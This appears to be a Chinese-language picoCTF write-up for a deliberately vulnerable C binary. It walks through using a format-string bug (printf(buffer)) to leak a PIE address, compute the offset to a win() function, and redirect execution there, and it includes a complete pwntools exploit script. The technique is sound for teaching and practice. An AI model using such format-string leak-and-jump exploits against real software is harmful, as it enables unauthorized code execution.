原始碼
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
unsigned long val;
printf(" enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;//函式指標,並把 val 強制轉型成函式指標存進去。
foo();
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
call_functions();
return 0;
}
解題
解題思路
利用Format String Vulnerability(格式化字串漏洞)洩漏的位置,因為PIE的相對位置不會改變,計算與win function 的 offset,跳過去
確認檔案類型
file vuln

確認保護機制
checksec --file=vuln

取得洩漏位置
因爲printf(buffer)這裡有Format String Vulnerability,我們可以讓他印出一些暫存器或stack位置
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
取得
0x5bc01a9642a1 (nil) 0x5bc01a9642dc 0x7fff40092c20 0x7c 0x78cf19a65238 0x78cf19a556a0 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x7f000a702520 0x5bc005ee21c0 0x34fbf3cda64cbb00 0x7fff40092c80 0x5bc005ee2441 (nil)
其中PIE 基底一定頁對齊,一頁 4096 bytes = 0x1000,所以基底的最低 12 bits 永遠是 0。因此 執行時位址 = 基底 + offset 相加時最後 12 bits 不受干擾 —— image 內任何位址的末三位(十六進位),永遠等於它在 objdump 裡的 offset 末三位
因此我們拿去對照gdb發現441在gdb的位置
0x555555555441 <main+65> mov eax, 0 EAX => 0
接著我們再找win function在gdb的位置
p win

$1 = {<text variable, no debug info>} 0x55555555536a <win>
計算offset
offset = 0x555555555441-0x55555555536a
實際payload
from pwn import *
if '--remote' in sys.argv:
p = remote('rescued-float.picoctf.net', 55842)
else:
p = process("./vuln")
'''
0x555555555441 <main+65> mov eax, 0 EAX => 0
p win
$1 = {<text variable, no debug info>} 0x55555555536a <win>
'''
offset = 0x555555555441-0x55555555536a
p.sendlineafter(b'name:',b'%19$p')
addr=int(p.recvline().strip(),16)-offset
p.sendlineafter(b'0x12345:',hex(addr).encode())
p.interactive()
p.close()

flag



說些什麼吧!